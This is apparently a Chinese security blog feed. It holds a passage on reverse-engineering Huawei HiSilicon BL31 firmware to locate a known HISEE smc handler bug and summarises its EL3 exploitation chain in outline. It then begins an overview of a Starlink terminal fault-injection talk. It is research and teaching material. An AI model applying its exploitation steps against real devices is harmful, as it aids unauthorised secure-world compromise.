<p>利用利用彻底的任意地址写,修改页表,重新映射S-EL3的代码段为可写,修改S-EL3代码:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp5.png" alt="image" /></p>
<h3 id="6-getting-code-execution-in-el3">(6) Getting Code Execution in EL3</h3>
<p>触发smc调用,完成S-EL3的任意代码执行!</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp6.png" alt="image" /></p>
<h3 id="利用总结">利用总结</h3>
<p>对于有限制的地址写,利用的过程就是一步步扩大,目标就是首先突破一些关键的限制函数:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp_summary.png" alt="image" /></p>
<p>对于修改页表的利用,在superhexagon以及之前的ATF赛题中都有涉及。可见,在有任意地址写能力的情况下,CFI(控制流完整性)无法保护操作系统这种数据和控制流相互交织的目标。</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/superhexagon.png" alt="image" /></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/atf_3.png" alt="image" /></p>
<h2 id="实践">实践</h2>
<p>总体来看,这个漏洞主要归咎于BL31中的se_factory_check,其未对参数进行检查。利用过程需要击基于EL1代码执行权限,因此至少要root手机,而华为新机型的root本就非常困难,因此复现整个漏洞的代价很高。所以我们本次实践的目标就定为逆向到目标漏洞,即在真实的固件中逆向找到这段代码,真正的在IDA中看到他:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/se_factory_check.png" alt="image" /></p>
<p>那这段代码在哪呢?他是BL31中的一个smc handler,因此这段代码应该在手机固件的BL31部分中,因此也就应该存在于手机的全量固件中,即手机的全量刷机包中。因此这里我们实践的具体做法就是,寻找并解开目标手机的刷机包,然后在其中找到目标漏洞代码。</p>
<h3 id="1-hisee-的前身-inse">(1) HISEE 的前身 inSE</h3>
<blockquote>
<p>不过在对刷机包动手之前,我想重新审视一下目标(其实是因为接下来遇到的阻碍,让我们必须这样回顾)</p>
</blockquote>
<p>在漏洞细节中Impalabs提到,这个漏洞至少影响2022年2月以前的P40 Lite。虽然这个漏洞不在BootROM中,但由于这个漏洞位置在BL31,因此应属于SoC平台相关代码,所以漏洞影响范围应该可以扩大到2022年2月以前所有使用Kirin 810平台的手机。另外经过其他渠道了解,这个漏洞并非只存在于Kirin 810平台中,因为HISEE的前身其实就是2016年在Kirin 960中首发的inSE功能,截止目前基本所有的海思旗舰和中高端SoC均带有此功能,而海思实现在BL31中的HISEE驱动也是一致的,所以,你想想吧…</p>
<blockquote>
<p><a href="https://github.com/Impalabs/resources/blob/87d16c917c5799b19844bd6ecdbd214e0a5c1070/ELS-AN00_02_HM_opensource/drivers/hisi/hisee/hisee_fs.h">ELS-AN00_02_HM_opensource/drivers/hisi/hisee/hisee_fs.h</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/inse.png" alt="image" /></p>
<ul>
<li><a href="https://www.linkedin.com/in/joshua-zhao-05b401b8/?originalSubdomain=cn">麒麟Kirin HiSEE inSE系统优化重构</a></li>
<li><a href="https://www.secrss.com/articles/3091">详解华为手机inSE方案:起源、发展过程、挑战以及未来趋势</a></li>
<li><a href="https://www.cnbeta.com.tw/articles/tech/551983.htm">nSE安全模块+高效A73核心 麒麟960不只追求性能</a></li>
<li><a href="https://www.ruodian360.com/news/391.html">华为麒麟inSE方案能改变NFC支付产业链吗?</a></li>
<li><a href="https://www.bfia.org.cn/sites/home/MsgView.jsp?msgId=25588">建行与华为联合创新,首创手机盾安全移动支付</a></li>
<li><a href="https://www.sohu.com/a/253045839_100014117">华为麒麟980 inSE方案通过EMVCo认证 </a></li>
<li><a href="https://github.com/rcstar6696/android_kernel_huawei_hi3660/blob/master/arch/arm64/boot/dts/auto-generate/config/hi3660/hi3660_udp_default_config.dtsi">hi3660_udp_default_config.dtsi</a></li>
</ul>
<p>在海思官网中,较老的SoC介绍中都会提一句带inSE功能,新的SoC如810、990、9000介绍中已经懒得提了,但其中必然实现inSE功能:</p>
<ul>
<li><a href="https://www.hisilicon.com/cn/products/Kirin/Kirin-flagship-chips/Kirin-960">HISILICON: Kirin 960</a></li>
<li><a href="https://www.hisilicon.com/cn/products/Kirin/Kirin-flagship-chips/Kirin-970">HISILICON: Kirin 970</a></li>
<li><a href="https://www.hisilicon.com/cn/products/Kirin/Kirin-flagship-chips/Kirin-980">HISILICON: Kirin 980</a></li>
<li><a href="https://www.hisilicon.com/cn/products/Kirin/Kirin-flagship-chips/Kirin-990">HISILICON: Kirin 990</a></li>
<li><a href="https://www.hisilicon.com/cn/products/Kirin/Mid-range-and-high-end/Kirin-710">HISILICON: Kirin 710</a></li>
<li><a href="https://www.hisilicon.com/cn/products/Kirin/Mid-range-and-high-end/Kirin-810">HISILICON: Kirin 810</a></li>
</ul>
<h3 id="2-刷机包的寻找与拆解">(2) 刷机包的寻找与拆解</h3>
<p>这里我们就以Kirin 810为例,通过<a href="https://en.wikichip.org/wiki/hisilicon/kirin/810">wikichip</a>我们可以看到搭载了此SoC的手机,和老外同步,我们选择P40 Lite作为分析目标,因此要找到2022年2月之前的刷机包。华为目前已经关闭了官方下载手机刷机包的渠道,但国内外还是有非常多的站点和网友对刷机包进行搜集整理,P40 lite是海外上市的手机,所以直接搜索会有非常多的国外站点提供刷机包下载:</p>
<ul>
<li><a href="https://huaweistockrom.com/huawei-p40-lite-jny-lx1">Huawei P40 Lite (huaweistockrom.com) </a></li>
<li><a href="https://firmware.gem-flash.com/index.php?a=downloads&b=folder&id=74126">Huawei P40 Lite (firmware.gem-flash.com)</a></li>
</ul>
<p>但是第一个免费的下载方式是google网盘,google经常会对大文件本身的下载做限制,而第二个需要visa付费,较麻烦。有绕过google限制的办法:</p>
<ul>
<li><a href="https://blog.dun.im/anonymous/bypass-google-drive-download-quota-exceeded-error.html">教你简单绕过 Google Drive 云端硬盘下载流量限制</a></li>
<li><a href="https://www.mytechgirl.com/tw/cloud/fix-google-drive-exceeded-download-limit-mtg6688.html">Google Drive超過下載限制的4種解決辦法</a></li>
</ul>
<p>最后还是尝试搜索国内的刷机包网站,找到提供国内提供海外P40 lite刷机包站点:</p>
<ul>
<li><a href="http://www.findrom.cn/rom/tag/huawei-p40-lite%E5%88%B7%E6%9C%BA%E5%8C%85">HUAWEI P40 Lite刷机包</a></li>
<li><a href="https://onfix.cn/rom?bid=6&mid=3785">ONFIX: JNY-LX1_JNY-L21_hw_eu_Jenny-L21A_10.0.1.136(C432E2R2P1)_Firmware_EMUI10.0.1</a></li>
</ul>
<p>根据第一个站点提供的信息可以确定,刷机包10.0.1.136的发布日期至少在2021年10月21之前,因此应当存在此漏洞。在第二个站点微信支付一块钱即可下载本版固件,直接给出网盘地址:</p>
<ul>
<li><a href="https://pan.baidu.com/s/1gA1WZtl3mcozYGpm4tEJmA">https://pan.baidu.com/s/1gA1WZtl3mcozYGpm4tEJmA</a> : 提取码 1g1g</li>
</ul>
<p>华为已经不提供传统的卡刷和线刷刷机包,因此现在能下载到的基本只有华为官方OTA包这一种刷机包,格式为zip压缩,解开之后主要的东西都封在UPDATE.APP这个文件中:</p>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/416456337">华为刷机你一定要知道的</a></li>
<li><a href="http://www.cfan.com.cn/2017/0904/129279.shtml">EMUI卡刷包下架 刷机时代终结从华为开始?</a></li>
</ul>
<p>在我们下载的固件中需要解压两层,即解压update_sd_base.zip后即可看到UPDATE.APP这个大文件:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/update.png" alt="image" /></p>
<p>解压UPDATE.APP最好用的是windows下的<a href="https://forum.xda-developers.com/t/tool-huawei-update-extractor-updated-v0-9-9-5-open-source-library.2433454/">Huawei Update Extractor</a>,相关说明以及其他方法:</p>
<ul>
<li><a href="https://blog.csdn.net/weixin_42500374/article/details/116812408">华为固件解包工具linux,华为EMUI8.0固件解包教程(含提取recovery方法)</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/370120677">如何解压鸿蒙系统 OTA 包</a></li>
<li><a href="https://blog.csdn.net/work4blue/article/details/28506705">Linux 下解包华为固件包UPDATE.APP</a></li>
<li><a href="https://github.com/ntiger1024/android_image_tools">Android Image Tools</a></li>
</ul>
<p>通过HuaweiUpdateExtractor打开UPDATE.APP,在Settings标签中取消勾选crc等校验,即可成功解析,很容易猜出TRUSTFIRMWARE.img就是BL31:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/p40liteupdate.png" alt="image" /></p>
<p>也可通过<a href="https://github.com/ntiger1024/android_image_tools">Android Image Tools</a>中的emui_extractor提取:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="p">.</span><span class="o">/</span><span class="n">emui_extractor</span> <span class="p">.</span><span class="o">/</span><span class="n">UPDATE</span><span class="p">.</span><span class="n">APP</span> <span class="n">dump</span> <span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span> <span class="p">.</span><span class="o">/</span><span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span>
</code></pre></div></div>
<p>接下来我们对提取出来的TRUSTFIRMWARE.img进行逆向,就应该可以看到漏洞代码啦!</p>
<h3 id="3-固件加密企图破产">(3) 固件加密!企图破产!</h3>
<p>但当我们仔细研究TRUSTFIRMWARE.img时,却发现对其搜不出什么有用的字符串:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">handler</span>
<span class="err">➜</span>
</code></pre></div></div>
<p>用binwalk也没有识别出其中的ARM指令:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">binwalk</span> <span class="o">-</span><span class="n">A</span> <span class="p">.</span><span class="o">/</span><span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span>
<span class="n">DECIMAL</span> <span class="n">HEXADECIMAL</span> <span class="n">DESCRIPTION</span>
<span class="o">-------------------------------------------------------------</span>
</code></pre></div></div>
<p>继续使用binwalk可以确定其熵值基本为1:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">binwalk</span> <span class="o">-</span><span class="n">E</span> <span class="p">.</span><span class="o">/</span><span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span>
</code></pre></div></div>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/encrypt.png" alt="image" /></p>
<p>这一切均说明了一个糟糕的结果:TRUSTFIRMWARE.img加密了!!!另外从 <a href="https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Komaromy-How-To-Tame-Your-Unicorn.pdf">BlackHat USA 2021: How To Tame Your Unicorn</a> 也可以发现这个事,麒麟旗舰以及中高端SoC上,TRUSTFIRMWARE均加密:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/black.png" alt="image" /></p>
<p>麒麟海思SoC的启动流程源于ATF,但也进行了些许修改:</p>
<ol>
<li>BL1: BootROM,实现了USB-XMODEM协议完成救砖刷机</li>
<li>BL2: 拆解为xloader + fastboot</li>
<li>BL31: 即TRUSTFIRMWARE.imge,由fastboot加载</li>
</ol>
<p>所以是fastboot可以解密TRUSTFIRMWARE.img,但解密需要的元数据必然与SoC平台相关,例如efuse中的密钥,所以单纯依赖刷机包本身是不可能解开TRUSTFIRMWARE.img的。那Impalabs是怎么解开并逆向的呢?在他们的另一篇对华为Hypervisor研究的文章中提到,需要用BootROM漏洞(CheckM30)来提取手机efuse中的解密密钥,才能完成对加密镜像的解密:</p>
<blockquote>
<p><a href="https://blog.impalabs.com/2212_huawei-security-hypervisor.html#introduction">Shedding Light on Huawei’s Security Hypervisor</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/decrypt.png" alt="image" /></p>
<p>然而这个密钥并未公开,用CheckM30从BootROM提取解密密钥又属于另一个漏洞的讨论范畴,那我们本次的实践就步于此了么?</p>
<h3 id="4-mate-9百密一疏">(4) Mate 9,百密一疏!</h3>
<p>之前提到,所有带inSE的华为手机,在TRUSTFIRMWARE.img(即BL31)中均有对应的处理代码(HISEE相关的smc handler)。因此所有搭载了960、970、980、990、710、810等麒麟SoC的手机刷机包中都应该有这部分代码,那这么多机型的这么多刷机包中,会不会就漏了一两个没加密的呢?还真有!经过了一宿的“搜山检海”,我终于找到了一个没加密的TRUSTFIRMWARE.img!他就在第一款搭载了Kirin 960的华为Mate 9的早期刷机包 <a href="https://onfix.cn/rom/62466">MHA-AL00B_C765B188_Android7.0_EMUI5.0</a>(2017年6月)中,也直接给出网盘地址:</p>
<ul>
<li><a href="https://pan.baidu.com/s/1d6ppOoU3LKSyCpZ6S21WLA">https://pan.baidu.com/s/1d6ppOoU3LKSyCpZ6S21WLA</a> 提取码:j278</li>
</ul>
<blockquote>
<p>老刷机包的打包方式是rar -> tar.gz -> UPDATE.APP,且压缩包名还叫SDupdate_Package.tar.gz,可能还是华为支持卡刷时代的产物</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9update.png" alt="image" /></p>
<p>使用binwalk查看固件熵值,很明显没加密:</p>
<blockquote>
<p>binwalk -E ./TRUSTFIRMWARE.img</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/unencrypt.png" alt="image" /></p>
<p>搜字符串可以发现hisee_smc_handler!扔进IDA手动识别也可以发现一些函数,因此可以确认,Mate 9早期刷机包中的TRUSTFIRMWARE.img确实没有加密:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">smc</span>
<span class="n">hisee_smc_handler</span><span class="o">:</span> <span class="n">g_download_req</span> <span class="n">is</span> <span class="mi">0</span>
<span class="n">std_smc_hisi_service</span>
<span class="n">efusec_smc_handler</span>
<span class="n">cpu_volt_smc_handler</span>
<span class="n">get_val_svc_smc_handler</span>
<span class="n">isp_smc_handler</span>
<span class="n">pcie_smc_handler</span>
<span class="n">ivp_smc_handler</span>
<span class="n">get_std_smc_active_flag</span><span class="p">(</span><span class="n">tsp_ctx</span><span class="o">-></span><span class="n">state</span><span class="p">)</span>
<span class="n">tspd_smc_handler</span>
<span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">-</span><span class="n">i</span> <span class="n">inSE</span>
<span class="n">inse</span> <span class="n">req</span> <span class="n">callback</span> <span class="n">para</span> <span class="n">err</span><span class="p">...</span> <span class="n">cmd</span><span class="o">:%</span><span class="n">ud</span>
<span class="n">inse</span> <span class="n">callback</span> <span class="n">exist</span><span class="p">...</span><span class="n">cmd</span><span class="o">:%</span><span class="n">ud</span>
<span class="n">put</span> <span class="n">inse</span> <span class="n">callback</span> <span class="n">para</span> <span class="n">err</span><span class="p">...</span> <span class="n">cmdtype</span><span class="o">:%</span><span class="n">ud</span>
</code></pre></div></div>
<p>如果仔细观察以上smc_handler的名字,可以看出这与ATF的smc_handler非常类似,也可以通过版本字符串看出,这就是ATF,版本为v1.1:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/arm-trusted-firmware/v1.1/source">https://elixir.bootlin.com/arm-trusted-firmware/v1.1/source</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">-</span><span class="n">i</span> <span class="n">debug</span>
<span class="n">v1</span><span class="p">.</span><span class="mi">1</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span><span class="o">:</span><span class="n">f2d7567</span>
</code></pre></div></div>
<p>因此通过 Mate 9 的明文固件可以确认,麒麟海思旗舰SoC的启动链实现,在当时就是基于ATF。总之,感谢这个Mate 9,让我们的实践可以继续往下走。回顾 Mate 9,这是第一款搭载麒麟960的手机,也即华为海思的inSE技术的首发产品,所以也可以说与inSE相关的BL31代码,在当时其实也一起首发了。另外在此2017年6月份之后的所有固件,应当都对TRUSTFIRMWARE.img进行了加密,我也尝试寻找第二个搭载麒麟960的华为手机,P10的刷机包,但即使是EMUI 5版本的也进行了加密。所以Mate 9这个早期刷机包真的是百密一疏,猜测原因应当是这个时间点,正好是位于海思底层固件加密方案的技术过渡期,这才有了这个漏网之鱼:</p>
<blockquote>
<p><a href="http://slide.tech.sina.com.cn/mobile/slide_5_22298_72721.html#p=1">2016.11.14: HUAWEI Mate 9发布会现场图集</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9.png" alt="image" /></p>
<p>回到正题,那这么老版本的TRUSTFIRMWARE.img里,存在我们的目标漏洞么?接下来我们就来逆向他!</p>
<h3 id="5-时过境迁漏洞未生">(5) 时过境迁,漏洞未生</h3>
<p>TRUSTFIRMWARE.img没有ELF格式,所以为了便于IDA识别,可以使用pwntools给他封一层ELF:</p>
<blockquote>
<p>因为不知道TRUSTFIRMWARE.img的加载地址,所以直接设置为0,后续发现其中使用的字符串地址均为相对偏移,所以加载地址正确与否对分析没有太大影响</p>
</blockquote>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">'aarch64'</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'TRUSTFIRMWARE.img'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'TRUSTFIRMWARE.elf'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">make_elf</span><span class="p">(</span><span class="n">sc</span><span class="p">,</span><span class="n">vma</span><span class="o">=</span><span class="mi">0</span><span class="p">))</span>
</code></pre></div></div>
<p>扔到IDA里可以识别出一堆函数,通过对hisee_smc_handler字符串的交叉引用可以找到sub_6774函数,这就是hisee_smc_handler的主体路由函数,不过可见其中并没有单独处理0x11的子功能码,也没有判断是否检查的掩码0x2003e000002041,心顿时凉了半截,貌似版本差异有些大,功能逻辑可能都过于陈旧,漏洞代码可能还没写出来:</p>
<blockquote>
<p>通过添加segment,将0x1A820 - 0x25600设置为只读段,即可让IDA的F5结果正常显示字符串</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9smc.png" alt="image" /></p>
<p>不过还是冷静下来仔细看看,还是能找到地址检查的函数,即sub_5ED8,并且这个逻辑和Impalabs的逆向结果基本完全一致!</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9check.png" alt="image" /></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/se_smc_addr_check.png" alt="image" /></p>
<p>但是判断是否需要进行地址检查的逻辑要比现在简单一些,但要非常注意的是,这里还是无符号判断,例如:7减8为全f,还是大于1,因此只有8、9、19不进行地址检查,其余的功能码均需要被检查:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9if.png" alt="image" /></p>
<p>以10号功能码为例,其中将a3当成地址并直接解引用访问了,这似乎存在非法地址解引用,但10号功能码不为8、9、19,属于地址检查的判断中,因此10号功能码处应该没有什么问题:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9smc10.png" alt="image" /></p>
<p>在0-7功能码的处理中,会看到很多将a3存到0x202342C8处的代码逻辑,但是这些功能码均在地址检查的范围中,所以应该也没什么问题:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate907.png" alt="image" /></p>
<p>在8、9、19功能码中,只有8号功能码的处理过程中使用了a3,虽然其将没有检查的a3存到了0x2022CBE8中,但经过分析,这里存储的a3也从没有被当成地址进行使用,因此应该也没有什么问题。所以Impalabs逆向出的漏洞函数se_factory_check,在这2017年6月的 Mate 9 固件中应该还没出生:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate98.png" alt="image" /></p>
<p>虽然我们没有办法看到P40 lite中TRUSTFIRMWARE.img的漏洞代码,但通过Mate 9,还是看到了这部分代码的早期面貌,并且确认在当时漏洞不存在,也算尽力而为了。</p>
<h3 id="6-误判符号罚银三两">(6) 误判符号,罚银三两</h3>
<p>在分析前期,我其实没看出来检查那是无符号,所以我当时认为0到9的功能码都不会被检查,然后继续往下分析了很久,并且判断漏洞存在,属实错怪人家了:</p>
<blockquote>
<p>这个错误需要牢记,在判断大小时一定要注意符号!!!</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9if.png" alt="image" /></p>
<p>按照错误判断分析,在0到9的功能码处理中,会看到很多将a3存到0x202342C8处的代码逻辑:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate907.png" alt="image" /></p>
<p>这似乎很像set_message_header的逻辑,所以如果能找到其他地方使用了0x202342C8中的存储地址,那么漏洞就可能发生:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/set_message_header.png" alt="image" /></p>
<p>然后我就去找0x202342C8这个地址的交叉引用,但IDA并不能直接寻找未映射空间的交叉引用,所以可以在IDA中添加一个新的内存段,让IDA重新识别以完成寻找。另外本代码中的0x202342C8地址写的实现代码,是通过存储了0x202342C8地址本身,进行的间接访问,例如0x683C这句其实是从0x25410中取出的0x202342C8这个数,所以直接对0x25410进行交叉引用,也可以找到使用0x202342C8地址的其他位置:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9cross.png" alt="image" /></p>
<p>结果我还真找到了sub_5F94,写的值还真就是0xAABBCC55,和Impalabs逆向结果中的send_ack和se_chip_test_ack基本一致。所以当时我误以为漏洞存在,整体情况如下:</p>
<ul>
<li>sub_6774即hisee_smc_handler,为HISEE功能入口,从这里出发</li>
<li>首先可以使用不进行地址检查的6号功能码(其实检查了),将任意地址从a3写入0x202342C8</li>
<li>然后使用19号功能码,调用经过sub_6554、sub_5F94即可完成向a3 + 4的地址处写入0xAABBCC55的任意地址写操作</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/mate9bug.png" alt="image" /></p>
<p>这个向目标地址写0xAABBCC55的逻辑与Impalabs的逆向结果基本一致:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/send_ack2.png" alt="image" /></p>
<p>这份老代码总体看下来,虽然一打眼看起来与现在的截然不同,但仔细分析其内部的具体逻辑,就会发现即使这么多年过去了,部分代码逻辑也没有很大的变化,恍如昨日。不过因为0-7的功能码都会被检查,所以将未检查的a3写入0x202342C8中并不成立,因此根据我们的逆向实践,可以确认这个漏洞在当年,并不存在。</p>老板娘欢迎报名 OSR TrustZone Pwn【TrustZone相关漏洞导读】Glitched on Earth by Humans2023-02-28T00:00:00+00:002023-02-28T00:00:00+00:00https://xuanxuanblingbling.github.io/trustzone/2023/02/28/starlink<p>欢迎报名 <a href="https://mp.weixin.qq.com/s/q03FyEe_TR5iQm-VsRiy0w">OSR TrustZone Pwn</a><br />
<img src="https://xuanxuanblingbling.github.io/assets/pic/trustzone/ad.png" alt="image" /></p>
<h2 id="简述">简述</h2>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/blackhat.png" alt="image" /></p>
<ul>
<li>议题名称:<a href="https://www.blackhat.com/us-22/briefings/schedule/#glitched-on-earth-by-humans-a-black-box-security-evaluation-of-the-spacex-starlink-user-terminal-26982">Glitched on Earth by Humans: A Black-Box Security Evaluation of the SpaceX Starlink User Terminal (2022.08)</a></li>
<li>议题视频:<a href="https://www.youtube.com/watch?v=NXqLMmGwJm0">https://www.youtube.com/watch?v=NXqLMmGwJm0 (2022.11)</a></li>
<li>议题作者:Lennert Wouters(伦纳特·沃特斯)</li>
<li>破解目标:Starlink 天线锅盖(Version Before 2021.04.16) 本地获取 rootshell</li>
<li>目标固件:未公开</li>
<li>主要漏洞:未在安全启动过程中添加针对故障注入的防护代码</li>
<li>利用方法:烧写flash替换固件,并进行电压故障注入攻击BL1的启动校验</li>
<li>利用代码:修改的固件未公开,但自研的modchip(故障注入设备)公开了设计:<a href="https://github.com/KULeuven-COSIC/Starlink-FI">KULeuven-COSIC/Starlink-FI</a></li>
</ul>
<h2 id="作者">作者</h2>
<p>根据Linkedin资料显示,<a href="https://www.linkedin.com/in/lennert-wouters-1667bb124/">Lennert Wouters</a>(伦纳特·沃特斯 <a href="https://twitter.com/LennertWo">@LennertWo</a>),来自比利时,90年左右生人,目前30岁左右。本硕博均就读于比利时鲁汶大学(KU Leuven),目前为鲁汶大学<a href="https://www.esat.kuleuven.be/cosic/"> COSIC(Computer Security and Industrial Cryptography group)小组 </a>的安全研究员。虽然他目前工作于高校中,并且也有不少的<a href="https://www.esat.kuleuven.be/cosic/people/lennert-wouters/">论文成果</a>,但他并不局限于象牙塔派的抽象工作,而是一个真正的实战破解高手。除了本次让他登上BlackHat和DEF CON的星链破解工作以外,他还曾完成近场蓝牙解锁任意特斯拉汽车的破解,并以此登上 DEF CON 29 Car Hacking Village,议题为 <a href="https://www.youtube.com/watch?v=36AvYW48JtQ">My other car is your car</a>:</p>
<blockquote>
<p><a href="https://www.youtube.com/watch?v=clrNuBb3myE">Youtube: COSIC researchers hack Tesla Model X key fob</a></p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/tesla.png" alt="image" /></p>
<p>这个议题也来过中国:<a href="https://mp.weixin.qq.com/s/xD1wHLNGBdeU9n8eXfCtig">GoGoHack 2022: 我的另一辆车是你的车——黑掉特斯拉ModelX无钥匙进入系统</a>,听下来就可以发现,他这次破解特斯拉的手法真是太他妈朋克了!破解本身复用了特斯拉中控主板和车钥匙自身的软件逻辑,所以Lennert给他们都焊到一起,彻底复用硬件完成攻击。相当于拆一个自己的特斯拉,然后打别人的特斯拉,也可以说是用特斯拉打特斯拉:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/pengke.png" alt="image" /></p>
<p>其他中文报道:</p>
<ul>
<li><a href="https://www.sohu.com/a/576982812_121124414">比利时鲁汶大学科技大牛25€破解星链!曾90秒成功解锁特斯拉车锁密钥</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/555722185">马斯克的Space X卫星被破解,25美元的工具就能入侵终端</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/554381162">花170元黑掉马斯克星链终端,黑客公开自制工具</a></li>
<li><a href="https://36kr.com/p/1744817892732548">特斯拉车钥匙又被黑,10秒钟就能开走Model Y</a></li>
<li><a href="https://www.freebuf.com/articles/network/343741.html">Tesla Model X无钥匙进入系统及固件升级漏洞</a></li>
</ul>
<h2 id="背景">背景</h2>
<p>我们对星链可能有些陌生,星链主要有两个设备,一个锅盖天线,一个路由器,二者网线相连。锅放房顶,路由器放屋里,因此可把锅类比为光猫,锅接出来的网线连到路由器的wan口上即可。锅盖和路由器主系统都是Linux,其中星链二代路由器的固件全部开源:<a href="https://github.com/SpaceExplorationTechnologies/starlink-wifi-gen2">starlink-wifi-gen2</a>,并且开启了SSH,但其只支持私钥登录,私钥未公开,因此我们也无法登录路由器的shell(博客:<a href="https://www.bitsinflight.com/starlink-first-impressions/">Starlink: First Impressions</a>)。然而,开源的路由器并不是我们关注的目标,路由器也没什么特别的,破解的目标是锅盖天线。因为锅盖负责与星链的卫星进行通信,因此在本地拿到锅盖的root shell,是继续深入分析锅盖与卫星间通信链路的前提:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=dzgzeRGNIHc">星链Starlink中文开箱测评 华语开箱星链第一人 安装配置测速</a></li>
<li><a href="https://www.youtube.com/watch?v=zbWEB8Uk-rA">太空Wifi有多快?STARLINK RV二代星链房车版野外速度测试/开箱/安装</a></li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/star.png" alt="image" /></p>
<p>Lennert Wouters通过替换固件并进行故障注入,最终在本地拿到了锅盖的root shell:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/shell.png" alt="image" /></p>
<p>有了root shell,我们即可调试分析锅盖上的业务与驱动程序,对锅盖与卫星的通信协议进行逆向,最终达到破解协议、扩展攻击路径等更深入的破解工作:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/sat.png" alt="image" /></p>
<h2 id="破解">破解</h2>
<p>在早期版本的锅盖中,串口连上就是Linux shell,有输出,但是关闭了输入:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/uart.png" alt="image" />
<img src="https://xuanxuanblingbling.github.io/assets/pic/starlink/out.png" alt="image" /></p>
